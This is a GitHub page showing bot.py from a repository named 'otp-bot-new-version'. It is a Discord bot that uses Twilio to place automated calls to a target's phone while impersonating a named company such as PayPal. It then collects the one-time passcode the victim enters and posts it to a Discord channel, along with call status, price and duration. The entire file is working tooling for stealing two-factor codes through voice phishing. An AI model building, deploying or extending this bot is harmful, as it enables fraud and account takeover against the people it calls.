forked from coder089/otp-bot-new-version
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbot.py
253 lines (243 loc) · 10 KB
/
bot.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
import time
import os
import discord_slash.utils.manage_commands
import requests
import discord
import os
from discord_slash import SlashCommand
from flask import Flask, request
from twilio.rest import Client
import json
from discord.ext import commands
from discord_slash import SlashCommand, SlashContext
if not 'Config.txt' in os.listdir():
open('Config.txt', 'w').write('{"account_sid":"?", "auth_token":"?", "Twilio Phone Number":"+1?", "ngrok_url":"https://you-url.ngrok.io", "server_id":"?", "bot_token":"?"}')
if not 'grabbed_otp.txt' in os.listdir():
open('grabbed_otp.txt', 'w').close()
if not 'Details' in os.listdir():
os.mkdir('Details')
if not 'Company Name.txt' in os.listdir('Details'):
open('Details/Company Name.txt', 'w').close()
if not 'Digits.txt' in os.listdir('Details'):
open('Details/Digits.txt', 'w').close()
if not 'Client_Name.txt' in os.listdir('Details'):
open('Details/Client_Name.txt', 'w').close()
#intents = discord.Intents.all()
raw_config = json.loads(open('Config.txt', 'r').read())
#client_discord = commands.Bot(command_prefix='',intents=intents)
client_discord = commands.Bot(command_prefix='')
slash = SlashCommand(client_discord, sync_commands=True)
guild = discord.Guild
account_sid = raw_config['account_sid']
auth_token = raw_config['auth_token']
your_twilio_phone_number = raw_config['Twilio Phone Number']
ngrok = raw_config['ngrok_url']
client = Client(account_sid, auth_token)
server_id = int(raw_config['server_id'])
app = Flask(__name__)
@slash.slash(
name='dial',
description='This is command to start making calls',
guild_ids=[server_id],
options=[
discord_slash.utils.manage_commands.create_option(
name='cell_phone',
description='Add +1 E.G +1987654321',
required=True,
option_type=3
),
discord_slash.utils.manage_commands.create_option(
name='otp_digits',
description='E.G 8,6 or 4',
required=True,
option_type=3
),
discord_slash.utils.manage_commands.create_option(
name='client_name',
description='E.G: Smith',
required=True,
option_type=3
),
discord_slash.utils.manage_commands.create_option(
name='company_name',
description='E.G: Paypal',
required=True,
option_type=3
)
]
)
async def _call(ctx=SlashContext, cell_phone=str, otp_digits=str, client_name=str, company_name=str):
await ctx.send('Calling Initiated!')
open('Details/Digits.txt', 'w').write(f'{otp_digits}')
open('Details/Client_Name.txt', 'w').write(f'{client_name}')
open('Details/Company Name.txt', 'w').write(f'{company_name}')
call = client.calls.create(
url=f'{ngrok}/voice',
to=f'{cell_phone}',
from_=f'{your_twilio_phone_number}'
)
sid = call.sid
print(sid)
a = 0
b = 0
c = 0
d = 0
while True:
if client.calls(sid).fetch().status == 'queued':
if not a >= 1:
embed = discord.Embed(title='', description='Call Is Placed', color=discord.Colour.green())
await ctx.channel.send(embed=embed)
a = a + 1
elif client.calls(sid).fetch().status == 'ringing':
if not b >= 1:
embed = discord.Embed(title='', description='Cell Phone Is Ringing', color=discord.Colour.green())
await ctx.channel.send(embed=embed)
b = b + 1
elif client.calls(sid).fetch().status == 'in-progress':
if not c >= 1:
embed = discord.Embed(title='', description='Call In Progress',
color=discord.Colour.green())
await ctx.channel.send(embed=embed)
c = c + 1
elif client.calls(sid).fetch().status == 'completed':
embed = discord.Embed(title='', description='Call Succefully Completed', color=discord.Colour.green())
await ctx.channel.send(embed=embed)
break
elif client.calls(sid).fetch().status == 'failed':
embed = discord.Embed(title='', description='Call Failed',
color=discord.Colour.red())
await ctx.channel.send(embed=embed)
break
elif client.calls(sid).fetch().status == 'no-answer':
embed = discord.Embed(title='', description='Call Was Not Answered',
color=discord.Colour.red())
await ctx.channel.send(embed=embed)
break
elif client.calls(sid).fetch().status == 'canceled':
embed = discord.Embed(title='', description='Call Was Canceled By The Client',
color=discord.Colour.red())
await ctx.channel.send(embed=embed)
break
elif client.calls(sid).fetch().status == 'busy':
embed = discord.Embed(title='', description='User Busy This Call',
color=discord.Colour.red())
await ctx.channel.send(embed=embed)
break
time.sleep(1)
otp = open(f'grabbed_otp.txt', 'r').read()
call1 = client.calls(sid).fetch()
if otp == '':
embed = discord.Embed(title='',
description=f'Unable To Grab OTP\n\nPrice : {call1.price}\nDuration : {call1.duration} secs',
color=discord.Colour.red())
await ctx.channel.send(embed=embed)
else:
embed = discord.Embed(title='',
description=f'{otp}\n\nPrice : {call1.price}\nDuration : {call1.duration} secs',
color=discord.Colour.green())
await ctx.channel.send(embed=embed)
open('grabbed_otp.txt', 'w').close()
@slash.slash(
name='redial',
description='If the OTP code supplied is not valid',
guild_ids=[server_id],
options=[
discord_slash.utils.manage_commands.create_option(
name='cell_phone',
description='Add +1 E.G +1987654321',
required=True,
option_type=3
),
discord_slash.utils.manage_commands.create_option(
name='otp_digits',
description='E.G 8,6 or 4',
required=True,
option_type=3
),
discord_slash.utils.manage_commands.create_option(
name='client_name',
description='E.G: Smith',
required=True,
option_type=3
),
discord_slash.utils.manage_commands.create_option(
name='company_name',
description='E.G: Paypal',
required=True,
option_type=3
)
]
)
async def _call(ctx=SlashContext, cell_phone=str, otp_digits=str, client_name=str, company_name=str):
open('Details/Digits.txt', 'w').write(f'{otp_digits}')
open('Details/Client_Name.txt', 'w').write(f'{client_name}')
open('Details/Company Name.txt', 'w').write(f'{company_name}')
call = client.calls.create(
url=f'{ngrok}/voiceagain',
to=f'{cell_phone}',
from_=your_twilio_phone_number
)
sid = call.sid
print(sid)
a = 0
b = 0
c = 0
d = 0
while True:
if client.calls(sid).fetch().status == 'queued':
if not a >= 1:
embed = discord.Embed(title='', description='Call Is Placed', color=discord.Colour.green())
await ctx.send(embed=embed)
a = a + 1
elif client.calls(sid).fetch().status == 'ringing':
if not b >= 1:
embed = discord.Embed(title='', description='Cell Phone Is Ringing', color=discord.Colour.green())
await ctx.channel.send(embed=embed)
b = b + 1
elif client.calls(sid).fetch().status == 'in-progress':
if not c >= 1:
embed = discord.Embed(title='', description='Call In Progress',
color=discord.Colour.green())
await ctx.channel.send(embed=embed)
c = c + 1
elif client.calls(sid).fetch().status == 'completed':
embed = discord.Embed(title='', description='Call Succefully Completed', color=discord.Colour.green())
await ctx.channel.send(embed=embed)
break
elif client.calls(sid).fetch().status == 'failed':
embed = discord.Embed(title='', description='Call Failed',
color=discord.Colour.red())
await ctx.channel.send(embed=embed)
break
elif client.calls(sid).fetch().status == 'no-answer':
embed = discord.Embed(title='', description='Call Was Not Answered',
color=discord.Colour.red())
await ctx.channel.send(embed=embed)
break
elif client.calls(sid).fetch().status == 'canceled':
embed = discord.Embed(title='', description='Call Was Canceled By The Client',
color=discord.Colour.red())
await ctx.channel.send(embed=embed)
break
elif client.calls(sid).fetch().status == 'busy':
embed = discord.Embed(title='', description='User Busy This Call',
color=discord.Colour.red())
await ctx.channel.send(embed=embed)
break
time.sleep(2)
otp = open(f'grabbed_otp.txt', 'r').read()
call1 = client.calls(sid).fetch()
if otp == '':
embed = discord.Embed(title='',
description=f'Unable To Grab OTP\n\n\nPrice : {call1.price}\nDuration : {call1.duration} secs',
color=discord.Colour.red())
await ctx.channel.send(embed=embed)
else:
embed = discord.Embed(title='Just a Normal Bot',
description=f'{otp}\n\n\n\nPrice : {call1.price}\nDuration : {call1.duration} secs',
color=discord.Colour.green())
await ctx.channel.send(embed=embed)
open('grabbed_otp.txt', 'w').close()
client_discord.run(
raw_config['bot_token']
)